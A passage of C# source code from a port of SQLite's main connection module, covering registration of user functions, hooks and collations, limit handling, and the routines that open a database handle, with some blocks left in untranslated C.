hash table.\n*/\nif( enc==SQLITE_UTF16 ){\nenc = SQLITE_UTF16NATIVE;\n}else if( enc==SQLITE_ANY ){\nint rc;\nrc = sqlite3CreateFunc(db, zFunctionName, nArg, SQLITE_UTF8,\npUserData, xFunc, xStep, xFinal);\nif( rc==SQLITE_OK ){\nrc = sqlite3CreateFunc(db, zFunctionName, nArg, SQLITE_UTF16LE,\npUserData, xFunc, xStep, xFinal);\n}\nif( rc!=SQLITE_OK ){\nreturn rc;\n}\nenc = SQLITE_UTF16BE;\n}\n#else\n      enc = SQLITE_UTF8;\n#endif\n\n      /* Check if an existing function is being overridden or deleted. If so,\n** and there are active VMs, then return SQLITE_BUSY. If a function\n** is being overridden/deleted but there are no active VMs, allow the\n** operation to continue but invalidate all precompiled statements.\n*/\n      p = sqlite3FindFunction( db, zFunctionName, nName, nArg, enc, 0 );\n      if ( p != null && p.iPrefEnc == enc && p.nArg == nArg )\n      {\n        if ( db.activeVdbeCnt != 0 )\n        {\n          sqlite3Error( db, SQLITE_BUSY,\n          \"unable to delete/modify user-function due to active statements\" );\n          //Debug.Assert( 0 == db.mallocFailed );\n          return SQLITE_BUSY;\n        }\n        else\n        {\n          sqlite3ExpirePreparedStatements( db );\n        }\n      }\n\n      p = sqlite3FindFunction( db, zFunctionName, nName, nArg, enc, 1 );\n      Debug.Assert( p != null /*|| db.mallocFailed != 0 */ );\n      if ( p == null )\n      {\n        return SQLITE_NOMEM;\n      }\n      p.flags = 0;\n      p.xFunc = xFunc;\n      p.xStep = xStep;\n      p.xFinalize = xFinal;\n      p.pUserData = pUserData;\n      p.nArg = (i16)nArg;\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Create new user functions.\n    */\n    public static int sqlite3_create_function(\n    sqlite3 db,\n    string zFunctionName,\n    int nArg,\n    u8 enc,\n    object p,\n    dxFunc xFunc, //)(sqlite3_context*,int,sqlite3_value **),\n    dxStep xStep,//)(sqlite3_context*,int,sqlite3_value **),\n    dxFinal xFinal//)(sqlite3_context*)\n    )\n    {\n      int rc;\n      sqlite3_mutex_enter( db.mutex );\n      rc = sqlite3CreateFunc( db, zFunctionName, nArg, enc, p, xFunc, xStep, xFinal );\n      rc = sqlite3ApiExit( db, rc );\n      sqlite3_mutex_leave( db.mutex );\n      return rc;\n    }\n\n#if !SQLITE_OMIT_UTF16\nstatic int sqlite3_create_function16(\nsqlite3 db,\nstring zFunctionName,\nint nArg,\nint eTextRep,\nobject p,\ndxFunc xFunc,   //)(sqlite3_context*,int,sqlite3_value**),\ndxStep xStep,   //)(sqlite3_context*,int,sqlite3_value**),\ndxFinal xFinal  //)(sqlite3_context*)\n){\nint rc;\nstring zFunc8;\nsqlite3_mutex_enter(db.mutex);\nDebug.Assert( 0==db.mallocFailed );\nzFunc8 = sqlite3Utf16to8(db, zFunctionName, -1);\nrc = sqlite3CreateFunc(db, zFunc8, nArg, eTextRep, p, xFunc, xStep, xFinal);\n//sqlite3DbFree(db,ref zFunc8);\nrc = sqlite3ApiExit(db, rc);\nsqlite3_mutex_leave(db.mutex);\nreturn rc;\n}\n#endif\n\n\n    /*\n** Declare that a function has been overloaded by a virtual table.\n**\n** If the function already exists as a regular global function, then\n** this routine is a no-op.  If the function does not exist, then create\n** a new one that always throws a run-time error.\n**\n** When virtual tables intend to provide an overloaded function, they\n** should call this routine to make sure the global function exists.\n** A global function must exist in order for name resolution to work\n** properly.\n*/\n    static int sqlite3_overload_function(\n    sqlite3 db,\n    string zName,\n    int nArg\n    )\n    {\n      int nName = sqlite3Strlen30( zName );\n      int rc;\n      sqlite3_mutex_enter( db.mutex );\n      if ( sqlite3FindFunction( db, zName, nName, nArg, SQLITE_UTF8, 0 ) == null )\n      {\n        sqlite3CreateFunc( db, zName, nArg, SQLITE_UTF8,\n        0, (dxFunc)sqlite3InvalidFunction, null, null );\n      }\n      rc = sqlite3ApiExit( db, SQLITE_OK );\n      sqlite3_mutex_leave( db.mutex );\n      return rc;\n    }\n\n#if !SQLITE_OMIT_TRACE\n    /*\n** Register a trace function.  The pArg from the previously registered trace\n** is returned.\n**\n** A NULL trace function means that no tracing is executes.  A non-NULL\n** trace is a pointer to a function that is invoked at the start of each\n** SQL statement.\n*/\n    static object sqlite3_trace( sqlite3 db, dxTrace xTrace, object pArg )\n    {// (*xTrace)(void*,const char*), object pArg){\n      object pOld;\n      sqlite3_mutex_enter( db.mutex );\n      pOld = db.pTraceArg;\n      db.xTrace = xTrace;\n      db.pTraceArg = pArg;\n      sqlite3_mutex_leave( db.mutex );\n      return pOld;\n    }\n    /*\n    ** Register a profile function.  The pArg from the previously registered\n    ** profile function is returned.\n    **\n    ** A NULL profile function means that no profiling is executes.  A non-NULL\n    ** profile is a pointer to a function that is invoked at the conclusion of\n    ** each SQL statement that is run.\n    */\n    static object sqlite3_profile(\n    sqlite3 db,\n    dxProfile xProfile,//void (*xProfile)(void*,const char*,sqlite_u3264),\n    object pArg\n    )\n    {\n      object pOld;\n      sqlite3_mutex_enter( db.mutex );\n      pOld = db.pProfileArg;\n      db.xProfile = xProfile;\n      db.pProfileArg = pArg;\n      sqlite3_mutex_leave( db.mutex );\n      return pOld;\n    }\n#endif // * SQLITE_OMIT_TRACE */\n\n    /*** EXPERIMENTAL ***\n**\n** Register a function to be invoked when a transaction comments.\n** If the invoked function returns non-zero, then the commit becomes a\n** rollback.\n*/\n    static object sqlite3_commit_hook(\n    sqlite3 db,             /* Attach the hook to this database */\n    dxCommitCallback xCallback,   //int (*xCallback)(void*),  /* Function to invoke on each commit */\n    object pArg             /* Argument to the function */\n    )\n    {\n      object pOld;\n      sqlite3_mutex_enter( db.mutex );\n      pOld = db.pCommitArg;\n      db.xCommitCallback = xCallback;\n      db.pCommitArg = pArg;\n      sqlite3_mutex_leave( db.mutex );\n      return pOld;\n    }\n\n    /*\n    ** Register a callback to be invoked each time a row is updated,\n    ** inserted or deleted using this database connection.\n    */\n    static object sqlite3_update_hook(\n    sqlite3 db,             /* Attach the hook to this database */\n    dxUpdateCallback xCallback,   //void (*xCallback)(void*,int,char const *,char const *,sqlite_int64),\n    object pArg             /* Argument to the function */\n    )\n    {\n      object pRet;\n      sqlite3_mutex_enter( db.mutex );\n      pRet = db.pUpdateArg;\n      db.xUpdateCallback = xCallback;\n      db.pUpdateArg = pArg;\n      sqlite3_mutex_leave( db.mutex );\n      return pRet;\n    }\n\n    /*\n    ** Register a callback to be invoked each time a transaction is rolled\n    ** back by this database connection.\n    */\n    static object sqlite3_rollback_hook(\n    sqlite3 db,             /* Attach the hook to this database */\n    dxRollbackCallback xCallback,   //void (*xCallback)(void*), /* Callback function */\n    object pArg             /* Argument to the function */\n    )\n    {\n      object pRet;\n      sqlite3_mutex_enter( db.mutex );\n      pRet = db.pRollbackArg;\n      db.xRollbackCallback = xCallback;\n      db.pRollbackArg = pArg;\n      sqlite3_mutex_leave( db.mutex );\n      return pRet;\n    }\n\n    /*\n    ** This function returns true if main-memory should be used instead of\n    ** a temporary file for transient pager files and statement journals.\n    ** The value returned depends on the value of db->temp_store (runtime\n    ** parameter) and the compile time value of SQLITE_TEMP_STORE. The\n    ** following table describes the relationship between these two values\n    ** and this functions return value.\n    **\n    **   SQLITE_TEMP_STORE     db->temp_store     Location of temporary database\n    **   -----------------     --------------     ------------------------------\n    **   0                     any                file      (return 0)\n    **   1                     1                  file      (return 0)\n    **   1                     2                  memory    (return 1)\n    **   1                     0                  file      (return 0)\n    **   2                     1                  file      (return 0)\n    **   2                     2                  memory    (return 1)\n    **   2                     0                  memory    (return 1)\n    **   3                     any                memory    (return 1)\n    */\n    static bool sqlite3TempInMemory( sqlite3 db )\n    {\n      //#if SQLITE_TEMP_STORE==1\n      if ( SQLITE_TEMP_STORE == 1 )\n        return ( db.temp_store == 2 );\n      //#endif\n      //#if SQLITE_TEMP_STORE==2\n      if ( SQLITE_TEMP_STORE == 2 )\n        return ( db.temp_store != 1 );\n      //#endif\n      //#if SQLITE_TEMP_STORE==3\n      if ( SQLITE_TEMP_STORE == 3 )\n        return true;\n      //#endif\n      //#if SQLITE_TEMP_STORE<1 || SQLITE_TEMP_STORE>3\n      if ( SQLITE_TEMP_STORE < 1 || SQLITE_TEMP_STORE > 3 )\n        return false;\n      //#endif\n      return false;\n    }\n\n    /*\n    ** This routine is called to create a connection to a database BTree\n    ** driver.  If zFilename is the name of a file, then that file is\n    ** opened and used.  If zFilename is the magic name \":memory:\" then\n    ** the database is stored in memory (and is thus forgotten as soon as\n    ** the connection is closed.)  If zFilename is NULL then the database\n    ** is a \"virtual\" database for transient use only and is deleted as\n    ** soon as the connection is closed.\n    **\n    ** A virtual database can be either a disk file (that is automatically\n    ** deleted when the file is closed) or it an be held entirely in memory.\n    ** The sqlite3TempInMemory() function is used to determine which.\n    */\n    static int sqlite3BtreeFactory(\n    sqlite3 db,           /* Main database when opening aux otherwise 0 */\n    string zFilename,     /* Name of the file containing the BTree database */\n    bool omitJournal,     /* if TRUE then do not journal this file */\n    int nCache,           /* How many pages in the page cache */\n    int vfsFlags,         /* Flags passed through to vfsOpen */\n    ref Btree ppBtree     /* Pointer to new Btree object written here */\n    )\n    {\n      int btFlags = 0;\n      int rc;\n\n      Debug.Assert( sqlite3_mutex_held( db.mutex ) );\n      //Debug.Assert( ppBtree != null);\n      if ( omitJournal )\n      {\n        btFlags |= BTREE_OMIT_JOURNAL;\n      }\n      if ( ( db.flags & SQLITE_NoReadlock ) != 0 )\n      {\n        btFlags |= BTREE_NO_READLOCK;\n      }\n#if !SQLITE_OMIT_MEMORYDB\n      if ( String.IsNullOrEmpty( zFilename ) && sqlite3TempInMemory( db ) )\n      {\n\n        zFilename = \":memory:\";\n      }\n#endif // * SQLITE_OMIT_MEMORYDB */\n\n      if ( ( vfsFlags & SQLITE_OPEN_MAIN_DB ) != 0 && ( zFilename == null ) )\n      {// || *zFilename==0) ){\n        vfsFlags = ( vfsFlags & ~SQLITE_OPEN_MAIN_DB ) | SQLITE_OPEN_TEMP_DB;\n      }\n      rc = sqlite3BtreeOpen( zFilename, db, ref ppBtree, btFlags, vfsFlags );\n      /* If the B-Tree was successfully opened, set the pager-cache size to the\n      ** default value. Except, if the call to BtreeOpen() returned a handle\n      ** open on an existing shared pager-cache, do not change the pager-cache\n      ** size.\n      */\n      if ( rc == SQLITE_OK && null == sqlite3BtreeSchema( ppBtree, 0, null ) )\n      {\n        sqlite3BtreeSetCacheSize( ppBtree, nCache );\n      }\n      return rc;\n    }\n\n    /*\n    ** Return UTF-8 encoded English language explanation of the most recent\n    ** error.\n    */\n    public static string sqlite3_errmsg( sqlite3 db )\n    {\n      string z;\n      if ( db == null )\n      {\n        return sqlite3ErrStr( SQLITE_NOMEM );\n      }\n      if ( !sqlite3SafetyCheckSickOrOk( db ) )\n      {\n        return sqlite3ErrStr( SQLITE_MISUSE );\n      }\n      sqlite3_mutex_enter( db.mutex );\n      //if ( db.mallocFailed != 0 )\n      //{\n      //  z = sqlite3ErrStr( SQLITE_NOMEM );\n      //}\n      //else\n      {\n        z = sqlite3_value_text( db.pErr );\n        //Debug.Assert( 0 == db.mallocFailed );\n        if ( String.IsNullOrEmpty( z ))\n        {\n          z = sqlite3ErrStr( db.errCode );\n        }\n      }\n      sqlite3_mutex_leave( db.mutex );\n      return z;\n    }\n\n#if !SQLITE_OMIT_UTF16\n/*\n** Return UTF-16 encoded English language explanation of the most recent\n** error.\n*/\nconst void *sqlite3_errmsg16(sqlite3 *db){\nstatic const u16 outOfMem[] = {\n'o', 'u', 't', ' ', 'o', 'f', ' ', 'm', 'e', 'm', 'o', 'r', 'y', 0\n};\nstatic const u16 misuse[] = {\n'l', 'i', 'b', 'r', 'a', 'r', 'y', ' ',\n'r', 'o', 'u', 't', 'i', 'n', 'e', ' ',\n'c', 'a', 'l', 'l', 'e', 'd', ' ',\n'o', 'u', 't', ' ',\n'o', 'f', ' ',\n's', 'e', 'q', 'u', 'e', 'n', 'c', 'e', 0\n};\n\nconst void *z;\nif( !db ){\nreturn (void *)outOfMem;\n}\nif( !sqlite3SafetyCheckSickOrOk(db) ){\nreturn (void *)misuse;\n}\nsqlite3_mutex_enter(db->mutex);\nif( db->mallocFailed ){\nz = (void *)outOfMem;\n}else{\nz = sqlite3_value_text16(db->pErr);\nif( z==0 ){\nsqlite3ValueSetStr(db->pErr, -1, sqlite3ErrStr(db->errCode),\nSQLITE_UTF8, SQLITE_STATIC);\nz = sqlite3_value_text16(db->pErr);\n}\n/* A malloc() may have failed within the call to sqlite3_value_text16()\n** above. If this is the case, then the db->mallocFailed flag needs to\n** be cleared before returning. Do this directly, instead of via\n** sqlite3ApiExit(), to avoid setting the database handle error message.\n*/\ndb->mallocFailed = 0;\n}\nsqlite3_mutex_leave(db->mutex);\nreturn z;\n}\n#endif // * SQLITE_OMIT_UTF16 */\n\n    /*\n** Return the most recent error code generated by an SQLite routine. If NULL is\n** passed to this function, we assume a malloc() failed during sqlite3_open().\n*/\n    public static int sqlite3_errcode( sqlite3 db )\n    {\n      if ( db != null && !sqlite3SafetyCheckSickOrOk( db ) )\n      {\n        return SQLITE_MISUSE;\n      }\n      if ( null == db /*|| db.mallocFailed != 0 */ )\n      {\n        return SQLITE_NOMEM;\n      }\n      return db.errCode & db.errMask;\n    }\n    static int sqlite3_extended_errcode( sqlite3 db )\n    {\n      if ( db != null && !sqlite3SafetyCheckSickOrOk( db ) )\n      {\n        return SQLITE_MISUSE;\n      }\n      if ( null == db /*|| db.mallocFailed != 0 */ )\n      {\n        return SQLITE_NOMEM;\n      }\n      return db.errCode;\n    }\n    /*\n    ** Create a new collating function for database \"db\".  The name is zName\n    ** and the encoding is enc.\n    */\n    static int createCollation(\n    sqlite3 db,\n    string zName,\n    int enc,\n    object pCtx,\n    dxCompare xCompare,//)(void*,int,const void*,int,const void*),\n    dxDelCollSeq xDel//)(void*)\n    )\n    {\n      CollSeq pColl;\n      int enc2;\n      int nName = sqlite3Strlen30( zName );\n\n      Debug.Assert( sqlite3_mutex_held( db.mutex ) );\n\n      /* If SQLITE_UTF16 is specified as the encoding type, transform this\n      ** to one of SQLITE_UTF16LE or SQLITE_UTF16BE using the\n      ** SQLITE_UTF16NATIVE macro. SQLITE_UTF16 is not used internally.\n      */\n      enc2 = enc;\n      testcase( enc2 == SQLITE_UTF16 );\n      testcase( enc2 == SQLITE_UTF16_ALIGNED );\n      if ( enc2 == SQLITE_UTF16 || enc2 == SQLITE_UTF16_ALIGNED )\n      {\n        enc2 = SQLITE_UTF16NATIVE;\n      }\n      if ( enc2 < SQLITE_UTF8 || enc2 > SQLITE_UTF16BE )\n      {\n        return SQLITE_MISUSE;\n      }\n\n      /* Check if this call is removing or replacing an existing collation\n      ** sequence. If so, and there are active VMs, return busy. If there\n      ** are no active VMs, invalidate any pre-compiled statements.\n      */\n      pColl = sqlite3FindCollSeq( db, (u8)enc2, zName, 0 );\n      if ( pColl != null && pColl.xCmp != null )\n      {\n        if ( db.activeVdbeCnt != 0 )\n        {\n          sqlite3Error( db, SQLITE_BUSY,\n          \"unable to delete/modify collation sequence due to active statements\" );\n          return SQLITE_BUSY;\n        }\n        sqlite3ExpirePreparedStatements( db );\n\n        /* If collation sequence pColl was created directly by a call to\n        ** sqlite3_create_collation, and not generated by synthCollSeq(),\n        ** then any copies made by synthCollSeq() need to be invalidated.\n        ** Also, collation destructor - CollSeq.xDel() - function may need\n        ** to be called.\n        */\n        if ( ( pColl.enc & ~SQLITE_UTF16_ALIGNED ) == enc2 )\n        {\n          CollSeq[] aColl = (CollSeq[])sqlite3HashFind( db.aCollSeq, zName, nName );\n          int j;\n          for ( j = 0 ; j < 3 ; j++ )\n          {\n            CollSeq p = aColl[j];\n            if ( p.enc == pColl.enc )\n            {\n              if ( p.xDel != null )\n              {\n                p.xDel( ref p.pUser );\n              }\n              p.xCmp = null;\n            }\n          }\n        }\n      }\n\n      pColl = sqlite3FindCollSeq( db, (u8)enc2, zName, 1 );\n      if ( pColl != null )\n      {\n        pColl.xCmp = xCompare;\n        pColl.pUser = pCtx;\n        pColl.xDel = xDel;\n        pColl.enc = (u8)( enc2 | ( enc & SQLITE_UTF16_ALIGNED ) );\n      }\n      sqlite3Error( db, SQLITE_OK, 0 );\n      return SQLITE_OK;\n    }\n\n    /*\n    ** This array defines hard upper bounds on limit values.  The\n    ** initializer must be kept in sync with the SQLITE_LIMIT_*\n    ** #defines in sqlite3.h.\n    */\n    static int[] aHardLimit = new int[]  {\nSQLITE_MAX_LENGTH,\nSQLITE_MAX_SQL_LENGTH,\nSQLITE_MAX_COLUMN,\nSQLITE_MAX_EXPR_DEPTH,\nSQLITE_MAX_COMPOUND_SELECT,\nSQLITE_MAX_VDBE_OP,\nSQLITE_MAX_FUNCTION_ARG,\nSQLITE_MAX_ATTACHED,\nSQLITE_MAX_LIKE_PATTERN_LENGTH,\nSQLITE_MAX_VARIABLE_NUMBER,\n};\n\n    /*\n    ** Make sure the hard limits are set to reasonable values\n    */\n    //#if SQLITE_MAX_LENGTH<100\n    //# error SQLITE_MAX_LENGTH must be at least 100\n    //#endif\n    //#if SQLITE_MAX_SQL_LENGTH<100\n    //# error SQLITE_MAX_SQL_LENGTH must be at least 100\n    //#endif\n    //#if SQLITE_MAX_SQL_LENGTH>SQLITE_MAX_LENGTH\n    //# error SQLITE_MAX_SQL_LENGTH must not be greater than SQLITE_MAX_LENGTH\n    //#endif\n    //#if SQLITE_MAX_COMPOUND_SELECT<2\n    //# error SQLITE_MAX_COMPOUND_SELECT must be at least 2\n    //#endif\n    //#if SQLITE_MAX_VDBE_OP<40\n    //# error SQLITE_MAX_VDBE_OP must be at least 40\n    //#endif\n    //#if SQLITE_MAX_FUNCTION_ARG<0 || SQLITE_MAX_FUNCTION_ARG>1000\n    //# error SQLITE_MAX_FUNCTION_ARG must be between 0 and 1000\n    //#endif\n    //#if SQLITE_MAX_ATTACHED<0 || SQLITE_MAX_ATTACHED>30\n    //# error SQLITE_MAX_ATTACHED must be between 0 and 30\n    //#endif\n    //#if SQLITE_MAX_LIKE_PATTERN_LENGTH<1\n    //# error SQLITE_MAX_LIKE_PATTERN_LENGTH must be at least 1\n    //#endif\n    //#if SQLITE_MAX_VARIABLE_NUMBER<1\n    //# error SQLITE_MAX_VARIABLE_NUMBER must be at least 1\n    //#endif\n    //#if SQLITE_MAX_COLUMN>32767\n    //# error SQLITE_MAX_COLUMN must not exceed 32767\n    //#endif\n\n    /*\n    ** Change the value of a limit.  Report the old value.\n    ** If an invalid limit index is supplied, report -1.\n    ** Make no changes but still report the old value if the\n    ** new limit is negative.\n    **\n    ** A new lower limit does not shrink existing constructs.\n    ** It merely prevents new constructs that exceed the limit\n    ** from forming.\n    */\n    static int sqlite3_limit( sqlite3 db, int limitId, int newLimit )\n    {\n      int oldLimit;\n      if ( limitId < 0 || limitId >= SQLITE_N_LIMIT )\n      {\n        return -1;\n      }\n      oldLimit = db.aLimit[limitId];\n      if ( newLimit >= 0 )\n      {\n        if ( newLimit > aHardLimit[limitId] )\n        {\n          newLimit = aHardLimit[limitId];\n        }\n        db.aLimit[limitId] = newLimit;\n      }\n      return oldLimit;\n    }\n    /*\n    ** This routine does the work of opening a database on behalf of\n    ** sqlite3_open() and sqlite3_open16(). The database filename \"zFilename\"\n    ** is UTF-8 encoded.\n    */\n    static int openDatabase(\n    string zFilename, /* Database filename UTF-8 encoded */\n    ref sqlite3 ppDb,        /* OUT: Returned database handle */\n    unsigned flags,        /* Operational flags */\n    string zVfs       /* Name of the VFS to use */\n    )\n    {\n      sqlite3 db;\n      int rc;\n      CollSeq pColl;\n      int isThreadsafe;\n\n      ppDb = null;\n#if !SQLITE_OMIT_AUTOINIT\n      rc = sqlite3_initialize();\n      if ( rc != 0 ) return rc;\n#endif\n\n      if ( sqlite3GlobalConfig.bCoreMutex == false )\n      {\n        isThreadsafe = 0;\n      }\n      else if ( ( flags & SQLITE_OPEN_NOMUTEX ) != 0 )\n      {\n        isThreadsafe = 0;\n      }\n      else if ( ( flags & SQLITE_OPEN_FULLMUTEX ) != 0 )\n      {\n        isThreadsafe = 1;\n      }\n      else\n      {\n        isThreadsafe = sqlite3GlobalConfig.bFullMutex ? 1 : 0;\n      }\n\n      /* Remove harmful bits from the flags parameter\n      **\n      ** The SQLITE_OPEN_NOMUTEX and SQLITE_OPEN_FULLMUTEX flags were\n      ** dealt with in the previous code block.  Besides these, the only\n      ** valid input flags for sqlite3_open_v2() are SQLITE_OPEN_READONLY,\n      ** SQLITE_OPEN_READWRITE, and SQLITE_OPEN_CREATE.  Silently mask\n      ** off all other flags.\n      */\n      flags &= ~( SQLITE_OPEN_DELETEONCLOSE |\n      SQLITE_OPEN_EXCLUSIVE |\n      SQLITE_OPEN_MAIN_DB |\n      SQLITE_OPEN_TEMP_DB |\n      SQLITE_OPEN_TRANSIENT_DB |\n      SQLITE_OPEN_MAIN_JOURNAL |\n      SQLITE_OPEN_TEMP_JOURNAL |\n      SQLITE_OPEN_SUBJOURNAL |\n      SQLITE_OPEN_MASTER_JOURNAL |\n      SQLITE_OPEN_NOMUTEX |\n      SQLITE_OPEN_FULLMUTEX\n      );\n\n\n      /* Allocate the sqlite data structure */\n      db = new sqlite3();//sqlite3MallocZero( sqlite3.Length );\n      if ( db == null ) goto opendb_out;\n      if ( sqlite3GlobalConfig.bFullMutex && isThreadsafe != 0 )\n      {\n        db.mutex = sqlite3MutexAlloc( SQLITE_MUTEX_RECURSIVE );\n        if ( db.mutex == null )\n        {\n          //sqlite3_free( ref db );\n          goto opendb_out;\n        }\n      }\n      sqlite3_mutex_enter( db.mutex );\n      db.errMask = 0xff;\n      db.nDb = 2;\n      db.magic = SQLITE_MAGIC_BUSY;\n      Array.Copy( db.aDbStatic, db.aDb, db.aDbStatic.Length );// db.aDb = db.aDbStatic;\n      Debug.Assert( db.aLimit.Length == aHardLimit.Length );\n      Buffer.BlockCopy( aHardLimit, 0, db.aLimit, 0, aHardLimit.Length * sizeof( int ) );//memcpy(db.aLimit, aHardLimit, sizeof(db.aLimit));\n      db.autoCommit = 1;\n      db.nextAutovac = -1;\n      db.nextPagesize = 0;\n      db.flags |= SQLITE_ShortColNames;\n      if ( SQLITE_DEFAULT_FILE_FORMAT < 4 )\n        db.flags |= SQLITE_LegacyFileFmt\n#if  SQLITE_ENABLE_LOAD_EXTENSION\n| SQLITE_LoadExtension\n#endif\n;\n      sqlite3HashInit( db.aCollSeq );\n#if !SQLITE_OMIT_VIRTUALTABLE\nsqlite3HashInit( ref db.aModule );\n#endif\n      db.pVfs = sqlite3_vfs_find( zVfs );\n      if ( db.pVfs == null )\n      {\n        rc = SQLITE_ERROR;\n        sqlite3Error( db, rc, \"no such vfs: %s\", zVfs );\n        goto opendb_out;\n      }\n\n      /* Add the default collation sequence BINARY. BINARY works for both UTF-8\n      ** and UTF-16, so add a version for each to avoid any unnecessary\n      ** conversions. The only error that can occur here is a malloc() failure.\n      */\n      createCollation( db, \"BINARY\", SQLITE_UTF8, 0, (dxCompare)binCollFunc, null );\n      createCollation( db, \"BINARY\", SQLITE_UTF16BE, 0, (dxCompare)binCollFunc, null );\n      createCollation( db, \"BINARY\", SQLITE_UTF16LE, 0, (dxCompare)binCollFunc, null );\n      createCollation( db, \"RTRIM\", SQLITE_UTF8, 1, (dxCompare)binCollFunc, null );\n      //if ( db.mallocFailed != 0 )\n      //{\n      //  goto opendb_out;\n      //}\n      db.pDfltColl = sqlite3FindCollSeq( db, SQLITE_UTF8, \"BINARY\", 0 );\n      Debug.Assert( db.pDfltColl != null );\n\n      /* Also add a UTF-8 case-insensitive collation sequence. */\n      createCollation( db, \"NOCASE\", SQLITE_UTF8, 0, nocaseCollatingFunc, null );\n\n      /* Set flags on the built-in collating sequences */\n      db.pDfltColl.type = SQLITE_COLL_BINARY;\n      pColl = sqlite3FindCollSeq( db, SQLITE_UTF8, \"NOCASE\", 0 );\n      if ( pColl != null )\n      {\n        pColl.type = SQLITE_COLL_NOCASE;\n      }\n\n      /* Open the backend database driver */\n      db.openFlags = flags;\n      rc = sqlite3BtreeFactory( db, zFilename, false, SQLITE_DEFAULT_CACHE_SIZE,\n      flags | SQLITE_OPEN_MAIN_DB,\n      ref db.aDb[0].pBt );\n      if ( rc != SQLITE_OK )\n      {\n        if ( rc == SQLITE_IOERR_NOMEM )\n        {\n          rc = SQLITE_NOMEM;\n        }\n        sqlite3Error( db, rc, 0 );\n        goto opendb_out;\n      }\n      db.aDb[0].pSchema = sqlite3SchemaGet( db, db.aDb[0].pBt );\n      db.aDb[1].pSchema = sqlite3SchemaGet( db, null );\n\n\n      /* The default safety_level for the main database is 'full'; for the temp\n      ** database it is 'NONE'. This matches the pager layer defaults.\n      */\n      db.aDb[0].zName = \"main\";\n      db.aDb[0].safety_level = 3;\n      db.aDb[1].zName = \"temp\";\n      db.aDb[1].safety_level = 1;\n\n      db.magic = SQLITE_MAGIC_OPEN;\n      //if ( db.mallocFailed != 0 )\n      //{\n      //  goto opendb_out;\n      //}\n\n      /* Register all built-in functions, but do not attempt to read the\n      ** database schema yet. This is delayed until the first time the database\n      ** is accessed.\n      */\n      sqlite3Error( db, SQLITE_OK, 0 );\n      sqlite3RegisterBuiltinFunctions( db );\n\n      /* Load automatic extensions - extensions that have been registered\n      ** using the sqlite3_automatic_extension() API.\n      */\n      sqlite3AutoLoadExtensions( db );\n      rc = sqlite3_errcode( db );\n      if ( rc != SQLITE_OK )\n      {\n        goto opendb_out;\n      }\n\n\n#if  SQLITE_ENABLE_FTS1\nif( 0==db.mallocFailed ){\nextern int sqlite3Fts1Init(sqlite3*);\nrc = sqlite3Fts1Init(db);\n}\n#endif\n\n#if  SQLITE_ENABLE_FTS2\nif( 0==db.mallocFailed && rc==SQLITE_OK ){\nextern int sqlite3Fts2Init(sqlite3*);\nrc = sqlite3Fts2Init(db);\n}\n#endif\n\n#if  SQLITE_ENABLE_FTS3\nif( 0==db.mallocFailed && rc==SQLITE_OK ){\nrc = sqlite3Fts3Init(db);\n}\n#endif\n\n#if  SQLITE_ENABLE_ICU\nif( 0==db.mallocFailed && rc==SQLITE_OK ){\nextern int sqlite3IcuInit(sqlite3*);\nrc = sqlite3IcuInit(db);\n}\n#endif\n\n#if SQLITE_ENABLE_RTREE\nif( 0==db.mallocFailed && rc==SQLITE_OK){\nrc = sqlite3RtreeInit(db);\n}\n#endif\n\n      sqlite3Error( db, rc, 0 );\n\n      /* -DSQLITE_DEFAULT_LOCKING_MODE=1 makes EXCLUSIVE the default locking\n      ** mode.  -DSQLITE_DEFAULT_LOCKING_MODE=0 make NORMAL the default locking\n      ** mode.  Doing nothing at all also makes NORMAL the default.\n      */\n#if  SQLITE_DEFAULT_LOCKING_MODE\ndb.dfltLockMode = SQLITE_DEFAULT_LOCKING_MODE;\nsqlite3PagerLockingMode(sqlite3BtreePager(db.aDb[0].pBt),\nSQLITE_DEFAULT_LOCKING_MODE);\n#endif\n\n      /* Enable the lookaside-malloc subsystem */\n      setupLookaside( db, null, sqlite3GlobalConfig.szLookaside,\n      sqlite3GlobalConfig.nLookaside );\n\nopendb_out:\n      if ( db != null )\n      {\n        Debug.Assert( db.mutex != null || isThreadsafe == 0 || !sqlite3GlobalConfig.bFullMutex );\n        sqlite3_mutex_leave( db.mutex );\n      }\n      rc = sqlite3_errcode( db );\n      if ( rc == SQLITE_NOMEM )\n      {\n        sqlite3_close( db );\n        db = null;\n      }\n      else if ( rc != SQLITE_OK )\n      {\n        db.magic = SQLITE_MAGIC_SICK;\n      }\n      ppDb = db;\n      return sqlite3ApiExit( 0, rc );\n    }\n\n    /*\n    ** Open a new database handle.\n    */\n    public static int sqlite3_open(\n    string zFilename,\n    ref sqlite3 ppDb\n    )\n    {\n      return openDatabase( zFilename, ref ppDb,\n      SQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE, null );\n    }\n\n    public static int sqlite3_open_v2(\n    string filename,   /* Database filename (UTF-8) */\n    ref sqlite3 ppDb,         /* OUT: SQLite db handle */\n    int flags,              /* Flags */\n    string zVfs        /* Name of VFS module to use */\n    )\n    {\n      return openDatabase( filename, ref ppDb, flags, zVfs );\n    }\n\n#if !SQLITE_OMIT_UTF16\n\n/*\n** Open a new database handle.\n*/\nint sqlite3_open16(\nconst void *zFilename,\nsqlite3 **ppDb\n){\nchar const *zFilename8;   /* zFilename encoded in UTF-8 instead of UTF-16 */\nsqlite3_value pVal;\nint rc;\n\nDebug.Assert(zFilename );\nDebug.Assert(ppDb );\n*ppDb = 0;\n#if !SQLITE_OMIT_AUTOINIT\nrc = sqlite3_initialize();\nif( rc !=0) return rc;\n#endif\npVal = sqlite3ValueNew(0);\nsqlite3ValueSetStr(pVal, -1, zFilename, SQLITE_UTF16NATIVE, SQLITE_STATIC);\nzFilename8 = sqlite3ValueText(pVal, SQLITE_UTF8);\nif( zFilename8 ){\nrc = openDatabase(zFilename8, ppDb,\nSQLITE_OPEN_READWRITE | SQLITE_OPEN_CREATE, 0);\nDebug.Assert(*ppDb || rc==SQLITE_NOMEM );\nif( rc==SQLITE_OK && !DbHasProperty(*ppDb, 0, DB_SchemaLoaded) ){\nENC(*ppDb) = SQLITE_UTF16NATIVE;\n}\n}else{\nrc = SQLITE_NOMEM;\n}\nsqlite3ValueFree(pVal);\n\nreturn sqlite3ApiExit(0, rc);\n}\n#endif // * SQLITE_OMIT_UTF16 */\n\n    /*\n** Register a new collation sequence with the database handle db.\n*/\n    static int sqlite3_create_collation(\n    sqlite3 db,\n    string zName,\n    int enc,\n    object pCtx,\n    dxCompare xCompare\n    )\n    {\n      int rc;\n      sqlite3_mutex_enter( db.mutex );\n      //Debug.Assert( 0 == db.mallocFailed );\n      rc = createCollation( db, zName, enc, pCtx, xCompare, 